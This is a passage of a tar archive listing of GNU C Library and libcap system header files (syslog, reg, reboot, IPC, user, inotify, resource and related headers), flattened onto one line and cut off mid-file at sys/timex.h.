pid with each message */ #define LOG_CONS 0x02 /* log on the console if errors in sending */ #define LOG_ODELAY 0x04 /* delay open until first syslog() (default) */ #define LOG_NDELAY 0x08 /* don't delay open */ #define LOG_NOWAIT 0x10 /* don't wait for console forks: DEPRECATED */ #define LOG_PERROR 0x20 /* log to stderr as well */ __BEGIN_DECLS /* Close descriptor used to write to system logger. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void closelog (void); /* Open connection to system logger. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void openlog (const char *__ident, int __option, int __facility); /* Set the log mask level. */ extern int setlogmask (int __mask) __THROW; /* Generate a log message using FMT string and option arguments. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void syslog (int __pri, const char *__fmt, ...) __attribute__ ((__format__ (__printf__, 2, 3))); #ifdef __USE_MISC /* Generate a log message using FMT and using arguments pointed to by AP. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern void vsyslog (int __pri, const char *__fmt, __gnuc_va_list __ap) __attribute__ ((__format__ (__printf__, 2, 0))); #endif /* Define some macros helping to catch buffer overflows. */ #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function # include <bits/syslog.h> #endif #ifdef __LDBL_COMPAT # include <bits/syslog-ldbl.h> #endif __END_DECLS #endif /* sys/syslog.h */ sys/pci.h 0000644 00000001632 15246445046 0006322 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_PCI_H #define _SYS_PCI_H 1 /* We use the constants from the kernel. */ #include <linux/pci.h> #endif /* sys/pci.h */ sys/reg.h 0000644 00000003442 15246445046 0006325 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_REG_H #define _SYS_REG_H 1 #ifdef __x86_64__ /* Index into an array of 8 byte longs returned from ptrace for location of the users' stored general purpose registers. */ # define R15 0 # define R14 1 # define R13 2 # define R12 3 # define RBP 4 # define RBX 5 # define R11 6 # define R10 7 # define R9 8 # define R8 9 # define RAX 10 # define RCX 11 # define RDX 12 # define RSI 13 # define RDI 14 # define ORIG_RAX 15 # define RIP 16 # define CS 17 # define EFLAGS 18 # define RSP 19 # define SS 20 # define FS_BASE 21 # define GS_BASE 22 # define DS 23 # define ES 24 # define FS 25 # define GS 26 #else /* Index into an array of 4 byte integers returned from ptrace for * location of the users' stored general purpose registers. */ # define EBX 0 # define ECX 1 # define EDX 2 # define ESI 3 # define EDI 4 # define EBP 5 # define EAX 6 # define DS 7 # define ES 8 # define FS 9 # define GS 10 # define ORIG_EAX 11 # define EIP 12 # define CS 13 # define EFL 14 # define UESP 15 # define SS 16 #endif #endif sys/reboot.h 0000644 00000003140 15246445046 0007035 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This file should define RB_* macros to be used as flag bits in the argument to the `reboot' system call. */ #ifndef _SYS_REBOOT_H #define _SYS_REBOOT_H 1 #include <features.h> /* Perform a hard reset now. */ #define RB_AUTOBOOT 0x01234567 /* Halt the system. */ #define RB_HALT_SYSTEM 0xcdef0123 /* Enable reboot using Ctrl-Alt-Delete keystroke. */ #define RB_ENABLE_CAD 0x89abcdef /* Disable reboot using Ctrl-Alt-Delete keystroke. */ #define RB_DISABLE_CAD 0 /* Stop system and switch power off if possible. */ #define RB_POWER_OFF 0x4321fedc /* Suspend system using software suspend. */ #define RB_SW_SUSPEND 0xd000fce2 /* Reboot system into new kernel. */ #define RB_KEXEC 0x45584543 __BEGIN_DECLS /* Reboot or halt the system. */ extern int reboot (int __howto) __THROW; __END_DECLS #endif /* _SYS_REBOOT_H */ sys/vfs.h 0000644 00000000241 15246445046 0006340 0 ustar 00 /* Other systems declare `struct statfs' et al in <sys/vfs.h>, so we have this file to be compatible with programs expecting it. */ #include <sys/statfs.h> sys/msg.h 0000644 00000004475 15246445046 0006345 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_MSG_H #define _SYS_MSG_H #include <features.h> #define __need_size_t #include <stddef.h> /* Get common definition of System V style IPC. */ #include <sys/ipc.h> /* Get system dependent definition of `struct msqid_ds' and more. */ #include <bits/msq.h> /* Define types required by the standard. */ #include <bits/types/time_t.h> #ifndef __pid_t_defined typedef __pid_t pid_t; # define __pid_t_defined #endif #ifndef __ssize_t_defined typedef __ssize_t ssize_t; # define __ssize_t_defined #endif /* The following System V style IPC functions implement a message queue system. The definition is found in XPG2. */ #ifdef __USE_GNU /* Template for struct to be used as argument for `msgsnd' and `msgrcv'. */ struct msgbuf { __syscall_slong_t mtype; /* type of received/sent message */ char mtext[1]; /* text of the message */ }; #endif __BEGIN_DECLS /* Message queue control operation. */ extern int msgctl (int __msqid, int __cmd, struct msqid_ds *__buf) __THROW; /* Get messages queue. */ extern int msgget (key_t __key, int __msgflg) __THROW; /* Receive message from message queue. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t msgrcv (int __msqid, void *__msgp, size_t __msgsz, long int __msgtyp, int __msgflg); /* Send message to message queue. This function is a cancellation point and therefore not marked with __THROW. */ extern int msgsnd (int __msqid, const void *__msgp, size_t __msgsz, int __msgflg); __END_DECLS #endif /* sys/msg.h */ sys/shm.h 0000644 00000003521 15246445046 0006335 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SHM_H #define _SYS_SHM_H 1 #include <features.h> #define __need_size_t #include <stddef.h> /* Get common definition of System V style IPC. */ #include <sys/ipc.h> /* Get system dependent definition of `struct shmid_ds' and more. */ #include <bits/shm.h> /* Define types required by the standard. */ #include <bits/types/time_t.h> #ifdef __USE_XOPEN # ifndef __pid_t_defined typedef __pid_t pid_t; # define __pid_t_defined # endif #endif /* X/Open */ __BEGIN_DECLS /* The following System V style IPC functions implement a shared memory facility. The definition is found in XPG4.2. */ /* Shared memory control operation. */ extern int shmctl (int __shmid, int __cmd, struct shmid_ds *__buf) __THROW; /* Get shared memory segment. */ extern int shmget (key_t __key, size_t __size, int __shmflg) __THROW; /* Attach shared memory segment. */ extern void *shmat (int __shmid, const void *__shmaddr, int __shmflg) __THROW; /* Detach shared memory segment. */ extern int shmdt (const void *__shmaddr) __THROW; __END_DECLS #endif /* sys/shm.h */ sys/random.h 0000644 00000002643 15246445046 0007032 0 ustar 00 /* Interfaces for obtaining random bytes. Copyright (C) 2016-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_RANDOM_H #define _SYS_RANDOM_H 1 #include <features.h> #include <sys/types.h> /* Flags for use with getrandom. */ #define GRND_NONBLOCK 0x01 #define GRND_RANDOM 0x02 __BEGIN_DECLS /* Write LENGTH bytes of randomness starting at BUFFER. Return the number of bytes written, or -1 on error. */ ssize_t getrandom (void *__buffer, size_t __length, unsigned int __flags) __wur; /* Write LENGTH bytes of randomness starting at BUFFER. Return 0 on success or -1 on error. */ int getentropy (void *__buffer, size_t __length) __wur; __END_DECLS #endif /* _SYS_RANDOM_H */ sys/vlimit.h 0000644 00000003527 15246445046 0007060 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_VLIMIT_H #define _SYS_VLIMIT_H 1 #include <features.h> __BEGIN_DECLS /* This interface is obsolete, and is superseded by <sys/resource.h>. */ /* Kinds of resource limit. */ enum __vlimit_resource { /* Setting this non-zero makes it impossible to raise limits. Only the super-use can set it to zero. This is not implemented in recent versions of BSD, nor by the GNU C library. */ LIM_NORAISE, /* CPU time available for each process (seconds). */ LIM_CPU, /* Largest file which can be created (bytes). */ LIM_FSIZE, /* Maximum size of the data segment (bytes). */ LIM_DATA, /* Maximum size of the stack segment (bytes). */ LIM_STACK, /* Largest core file that will be created (bytes). */ LIM_CORE, /* Resident set size (bytes). */ LIM_MAXRSS }; /* This means no limit. */ #define INFINITY 0x7fffffff /* Set the soft limit for RESOURCE to be VALUE. Returns 0 for success, -1 for failure. */ extern int vlimit (enum __vlimit_resource __resource, int __value) __THROW; __END_DECLS #endif /* sys/vlimit.h */ sys/psx_syscall.h 0000644 00000005421 15246445046 0010113 0 ustar 00 /* * Copyright (c) 2019 Andrew G. Morgan <morgan@kernel.org> * * This header, and the -lpsx library, provide a number of things to * support POSIX semantics for syscalls associated with the pthread * library. Linking this code is tricky and is done as follows: * * ld ... -lpsx -lpthread --wrap=pthread_create * or, gcc ... -lpsx -lpthread -Wl,-wrap,pthread_create * * glibc provides a subset of this functionality natively through the * nptl:setxid mechanism and could implement psx_syscall() directly * using that style of functionality but, as of 2019-11-30, the setxid * mechanism is limited to 9 specific set*() syscalls that do not * support the syscall6 API (needed for prctl functions and the ambient * capabilities set for example). */ #ifndef _SYS_PSX_SYSCALL_H #define _SYS_PSX_SYSCALL_H #ifdef __cplusplus extern "C" { #endif #include <pthread.h> /* * psx_syscall performs the specified syscall on all psx registered * threads. The mechanism by which this occurs is much less efficient * than a standard system call on Linux, so it should only be used * when POSIX semantics are required to change process relevant * security state. * * Glibc has native support for POSIX semantics on setgroups() and the * 8 set*[gu]id() functions. So, there is no need to use psx_syscall() * for these calls. This call exists for all the other system calls * that need to maintain parity on all pthreads of a program. * * Some macrology is used to allow the caller to provide only as many * arguments as needed, thus psx_syscall() cannot be used as a * function pointer. For those situations, we define psx_syscall3() * and psx_syscall6(). */ #define psx_syscall(syscall_nr, ...) \ __psx_syscall(syscall_nr, __VA_ARGS__, (long int) 6, (long int) 5, \ (long int) 4, (long int) 3, (long int) 2, \ (long int) 1, (long int) 0) long int __psx_syscall(long int syscall_nr, ...); long int psx_syscall3(long int syscall_nr, long int arg1, long int arg2, long int arg3); long int psx_syscall6(long int syscall_nr, long int arg1, long int arg2, long int arg3, long int arg4, long int arg5, long int arg6); /* * This function should be used by systems to obtain pointers to the * two syscall functions provided by the PSX library. A linkage trick * is to define this function as weak in a library that can optionally * use libpsx and then, should the caller link -lpsx, that library can * implicitly use these POSIX semantics syscalls. See libcap for an * example of this useage. */ void psx_load_syscalls(long int (**syscall_fn)(long int, long int, long int, long int), long int (**syscall6_fn)(long int, long int, long int, long int, long int, long int, long int)); #ifdef __cplusplus } #endif #endif /* _SYS_PSX_SYSCALL_H */ sys/sem.h 0000644 00000003764 15246445046 0006343 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SEM_H #define _SYS_SEM_H 1 #include <features.h> #define __need_size_t #include <stddef.h> /* Get common definition of System V style IPC. */ #include <sys/ipc.h> /* Get system dependent definition of `struct semid_ds' and more. */ #include <bits/sem.h> #ifdef __USE_GNU # include <bits/types/struct_timespec.h> #endif /* The following System V style IPC functions implement a semaphore handling. The definition is found in XPG2. */ /* Structure used for argument to `semop' to describe operations. */ struct sembuf { unsigned short int sem_num; /* semaphore number */ short int sem_op; /* semaphore operation */ short int sem_flg; /* operation flag */ }; __BEGIN_DECLS /* Semaphore control operation. */ extern int semctl (int __semid, int __semnum, int __cmd, ...) __THROW; /* Get semaphore. */ extern int semget (key_t __key, int __nsems, int __semflg) __THROW; /* Operate on semaphore. */ extern int semop (int __semid, struct sembuf *__sops, size_t __nsops) __THROW; #ifdef __USE_GNU /* Operate on semaphore with timeout. */ extern int semtimedop (int __semid, struct sembuf *__sops, size_t __nsops, const struct timespec *__timeout) __THROW; #endif __END_DECLS #endif /* sys/sem.h */ sys/user.h 0000644 00000012127 15246445046 0006526 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_USER_H #define _SYS_USER_H 1 /* The whole purpose of this file is for GDB and GDB only. Don't read too much into it. Don't use it for anything other than GDB unless you know what you are doing. */ #ifdef __x86_64__ struct user_fpregs_struct { unsigned short int cwd; unsigned short int swd; unsigned short int ftw; unsigned short int fop; __extension__ unsigned long long int rip; __extension__ unsigned long long int rdp; unsigned int mxcsr; unsigned int mxcr_mask; unsigned int st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ unsigned int xmm_space[64]; /* 16*16 bytes for each XMM-reg = 256 bytes */ unsigned int padding[24]; }; struct user_regs_struct { __extension__ unsigned long long int r15; __extension__ unsigned long long int r14; __extension__ unsigned long long int r13; __extension__ unsigned long long int r12; __extension__ unsigned long long int rbp; __extension__ unsigned long long int rbx; __extension__ unsigned long long int r11; __extension__ unsigned long long int r10; __extension__ unsigned long long int r9; __extension__ unsigned long long int r8; __extension__ unsigned long long int rax; __extension__ unsigned long long int rcx; __extension__ unsigned long long int rdx; __extension__ unsigned long long int rsi; __extension__ unsigned long long int rdi; __extension__ unsigned long long int orig_rax; __extension__ unsigned long long int rip; __extension__ unsigned long long int cs; __extension__ unsigned long long int eflags; __extension__ unsigned long long int rsp; __extension__ unsigned long long int ss; __extension__ unsigned long long int fs_base; __extension__ unsigned long long int gs_base; __extension__ unsigned long long int ds; __extension__ unsigned long long int es; __extension__ unsigned long long int fs; __extension__ unsigned long long int gs; }; struct user { struct user_regs_struct regs; int u_fpvalid; struct user_fpregs_struct i387; __extension__ unsigned long long int u_tsize; __extension__ unsigned long long int u_dsize; __extension__ unsigned long long int u_ssize; __extension__ unsigned long long int start_code; __extension__ unsigned long long int start_stack; __extension__ long long int signal; int reserved; __extension__ union { struct user_regs_struct* u_ar0; __extension__ unsigned long long int __u_ar0_word; }; __extension__ union { struct user_fpregs_struct* u_fpstate; __extension__ unsigned long long int __u_fpstate_word; }; __extension__ unsigned long long int magic; char u_comm [32]; __extension__ unsigned long long int u_debugreg [8]; }; #else /* These are the 32-bit x86 structures. */ struct user_fpregs_struct { long int cwd; long int swd; long int twd; long int fip; long int fcs; long int foo; long int fos; long int st_space [20]; }; struct user_fpxregs_struct { unsigned short int cwd; unsigned short int swd; unsigned short int twd; unsigned short int fop; long int fip; long int fcs; long int foo; long int fos; long int mxcsr; long int reserved; long int st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */ long int xmm_space[32]; /* 8*16 bytes for each XMM-reg = 128 bytes */ long int padding[56]; }; struct user_regs_struct { long int ebx; long int ecx; long int edx; long int esi; long int edi; long int ebp; long int eax; long int xds; long int xes; long int xfs; long int xgs; long int orig_eax; long int eip; long int xcs; long int eflags; long int esp; long int xss; }; struct user { struct user_regs_struct regs; int u_fpvalid; struct user_fpregs_struct i387; unsigned long int u_tsize; unsigned long int u_dsize; unsigned long int u_ssize; unsigned long int start_code; unsigned long int start_stack; long int signal; int reserved; struct user_regs_struct* u_ar0; struct user_fpregs_struct* u_fpstate; unsigned long int magic; char u_comm [32]; int u_debugreg [8]; }; #endif /* __x86_64__ */ #define PAGE_SHIFT 12 #define PAGE_SIZE (1UL << PAGE_SHIFT) #define PAGE_MASK (~(PAGE_SIZE-1)) #define NBPG PAGE_SIZE #define UPAGES 1 #define HOST_TEXT_START_ADDR (u.start_code) #define HOST_STACK_END_ADDR (u.start_stack + u.u_ssize * NBPG) #endif /* _SYS_USER_H */ sys/timerfd.h 0000644 00000003521 15246445046 0007200 0 ustar 00 /* Copyright (C) 2008-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_TIMERFD_H #define _SYS_TIMERFD_H 1 #include <time.h> #include <bits/types/struct_itimerspec.h> /* Get the platform-dependent flags. */ #include <bits/timerfd.h> /* Bits to be set in the FLAGS parameter of `timerfd_settime'. */ enum { TFD_TIMER_ABSTIME = 1 << 0, #define TFD_TIMER_ABSTIME TFD_TIMER_ABSTIME TFD_TIMER_CANCEL_ON_SET = 1 << 1 #define TFD_TIMER_CANCEL_ON_SET TFD_TIMER_CANCEL_ON_SET }; __BEGIN_DECLS /* Return file descriptor for new interval timer source. */ extern int timerfd_create (__clockid_t __clock_id, int __flags) __THROW; /* Set next expiration time of interval timer source UFD to UTMR. If FLAGS has the TFD_TIMER_ABSTIME flag set the timeout value is absolute. Optionally return the old expiration time in OTMR. */ extern int timerfd_settime (int __ufd, int __flags, const struct itimerspec *__utmr, struct itimerspec *__otmr) __THROW; /* Return the next expiration time of UFD. */ extern int timerfd_gettime (int __ufd, struct itimerspec *__otmr) __THROW; __END_DECLS #endif /* sys/timerfd.h */ sys/soundcard.h 0000644 00000000035 15246445046 0007525 0 ustar 00 #include <linux/soundcard.h> sys/signal.h 0000644 00000000024 15246445046 0007016 0 ustar 00 #include <signal.h> sys/sendfile.h 0000644 00000003415 15246445046 0007341 0 ustar 00 /* sendfile -- copy data directly from one file descriptor to another Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SENDFILE_H #define _SYS_SENDFILE_H 1 #include <features.h> #include <sys/types.h> __BEGIN_DECLS /* Send up to COUNT bytes from file associated with IN_FD starting at *OFFSET to descriptor OUT_FD. Set *OFFSET to the IN_FD's file position following the read bytes. If OFFSET is a null pointer, use the normal file position instead. Return the number of written bytes, or -1 in case of error. */ #ifndef __USE_FILE_OFFSET64 extern ssize_t sendfile (int __out_fd, int __in_fd, off_t *__offset, size_t __count) __THROW; #else # ifdef __REDIRECT_NTH extern ssize_t __REDIRECT_NTH (sendfile, (int __out_fd, int __in_fd, __off64_t *__offset, size_t __count), sendfile64); # else # define sendfile sendfile64 # endif #endif #ifdef __USE_LARGEFILE64 extern ssize_t sendfile64 (int __out_fd, int __in_fd, __off64_t *__offset, size_t __count) __THROW; #endif __END_DECLS #endif /* sys/sendfile.h */ sys/resource.h 0000644 00000007075 15246445046 0007405 0 ustar 00 /* Copyright (C) 1992-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_RESOURCE_H #define _SYS_RESOURCE_H 1 #include <features.h> /* Get the system-dependent definitions of structures and bit values. */ #include <bits/resource.h> #ifndef __id_t_defined typedef __id_t id_t; # define __id_t_defined #endif __BEGIN_DECLS /* The X/Open standard defines that all the functions below must use `int' as the type for the first argument. When we are compiling with GNU extensions we change this slightly to provide better error checking. */ #if defined __USE_GNU && !defined __cplusplus typedef enum __rlimit_resource __rlimit_resource_t; typedef enum __rusage_who __rusage_who_t; typedef enum __priority_which __priority_which_t; #else typedef int __rlimit_resource_t; typedef int __rusage_who_t; typedef int __priority_which_t; #endif /* Put the soft and hard limits for RESOURCE in *RLIMITS. Returns 0 if successful, -1 if not (and sets errno). */ #ifndef __USE_FILE_OFFSET64 extern int getrlimit (__rlimit_resource_t __resource, struct rlimit *__rlimits) __THROW; #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (getrlimit, (__rlimit_resource_t __resource, struct rlimit *__rlimits), getrlimit64); # else # define getrlimit getrlimit64 # endif #endif #ifdef __USE_LARGEFILE64 extern int getrlimit64 (__rlimit_resource_t __resource, struct rlimit64 *__rlimits) __THROW; #endif /* Set the soft and hard limits for RESOURCE to *RLIMITS. Only the super-user can increase hard limits. Return 0 if successful, -1 if not (and sets errno). */ #ifndef __USE_FILE_OFFSET64 extern int setrlimit (__rlimit_resource_t __resource, const struct rlimit *__rlimits) __THROW; #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (setrlimit, (__rlimit_resource_t __resource, const struct rlimit *__rlimits), setrlimit64); # else # define setrlimit setrlimit64 # endif #endif #ifdef __USE_LARGEFILE64 extern int setrlimit64 (__rlimit_resource_t __resource, const struct rlimit64 *__rlimits) __THROW; #endif /* Return resource usage information on process indicated by WHO and put it in *USAGE. Returns 0 for success, -1 for failure. */ extern int getrusage (__rusage_who_t __who, struct rusage *__usage) __THROW; /* Return the highest priority of any process specified by WHICH and WHO (see above); if WHO is zero, the current process, process group, or user (as specified by WHO) is used. A lower priority number means higher priority. Priorities range from PRIO_MIN to PRIO_MAX (above). */ extern int getpriority (__priority_which_t __which, id_t __who) __THROW; /* Set the priority of all processes specified by WHICH and WHO (see above) to PRIO. Returns 0 on success, -1 on errors. */ extern int setpriority (__priority_which_t __which, id_t __who, int __prio) __THROW; __END_DECLS #endif /* sys/resource.h */ sys/inotify.h 0000644 00000007375 15246445046 0007242 0 ustar 00 /* Copyright (C) 2005-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_INOTIFY_H #define _SYS_INOTIFY_H 1 #include <stdint.h> /* Get the platform-dependent flags. */ #include <bits/inotify.h> /* Structure describing an inotify event. */ struct inotify_event { int wd; /* Watch descriptor. */ uint32_t mask; /* Watch mask. */ uint32_t cookie; /* Cookie to synchronize two events. */ uint32_t len; /* Length (including NULs) of name. */ char name __flexarr; /* Name. */ }; /* Supported events suitable for MASK parameter of INOTIFY_ADD_WATCH. */ #define IN_ACCESS 0x00000001 /* File was accessed. */ #define IN_MODIFY 0x00000002 /* File was modified. */ #define IN_ATTRIB 0x00000004 /* Metadata changed. */ #define IN_CLOSE_WRITE 0x00000008 /* Writtable file was closed. */ #define IN_CLOSE_NOWRITE 0x00000010 /* Unwrittable file closed. */ #define IN_CLOSE (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE) /* Close. */ #define IN_OPEN 0x00000020 /* File was opened. */ #define IN_MOVED_FROM 0x00000040 /* File was moved from X. */ #define IN_MOVED_TO 0x00000080 /* File was moved to Y. */ #define IN_MOVE (IN_MOVED_FROM | IN_MOVED_TO) /* Moves. */ #define IN_CREATE 0x00000100 /* Subfile was created. */ #define IN_DELETE 0x00000200 /* Subfile was deleted. */ #define IN_DELETE_SELF 0x00000400 /* Self was deleted. */ #define IN_MOVE_SELF 0x00000800 /* Self was moved. */ /* Events sent by the kernel. */ #define IN_UNMOUNT 0x00002000 /* Backing fs was unmounted. */ #define IN_Q_OVERFLOW 0x00004000 /* Event queued overflowed. */ #define IN_IGNORED 0x00008000 /* File was ignored. */ /* Helper events. */ #define IN_CLOSE (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE) /* Close. */ #define IN_MOVE (IN_MOVED_FROM | IN_MOVED_TO) /* Moves. */ /* Special flags. */ #define IN_ONLYDIR 0x01000000 /* Only watch the path if it is a directory. */ #define IN_DONT_FOLLOW 0x02000000 /* Do not follow a sym link. */ #define IN_EXCL_UNLINK 0x04000000 /* Exclude events on unlinked objects. */ #define IN_MASK_ADD 0x20000000 /* Add to the mask of an already existing watch. */ #define IN_ISDIR 0x40000000 /* Event occurred against dir. */ #define IN_ONESHOT 0x80000000 /* Only send event once. */ /* All events which a program can wait on. */ #define IN_ALL_EVENTS (IN_ACCESS | IN_MODIFY | IN_ATTRIB | IN_CLOSE_WRITE \ | IN_CLOSE_NOWRITE | IN_OPEN | IN_MOVED_FROM \ | IN_MOVED_TO | IN_CREATE | IN_DELETE \ | IN_DELETE_SELF | IN_MOVE_SELF) __BEGIN_DECLS /* Create and initialize inotify instance. */ extern int inotify_init (void) __THROW; /* Create and initialize inotify instance. */ extern int inotify_init1 (int __flags) __THROW; /* Add watch of object NAME to inotify instance FD. Notify about events specified by MASK. */ extern int inotify_add_watch (int __fd, const char *__name, uint32_t __mask) __THROW; /* Remove the watch specified by WD from the inotify instance FD. */ extern int inotify_rm_watch (int __fd, int __wd) __THROW; __END_DECLS #endif /* sys/inotify.h */ sys/timex.h 0000644 00000004235 15246445046 0006677 0 ustar 00 /* Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_TIMEX_H #define _SYS_TIMEX_H 1 #include <features.h> #include <sys/time.h> /* These definitions from linux/timex.h as of 2.6.30. */ #include 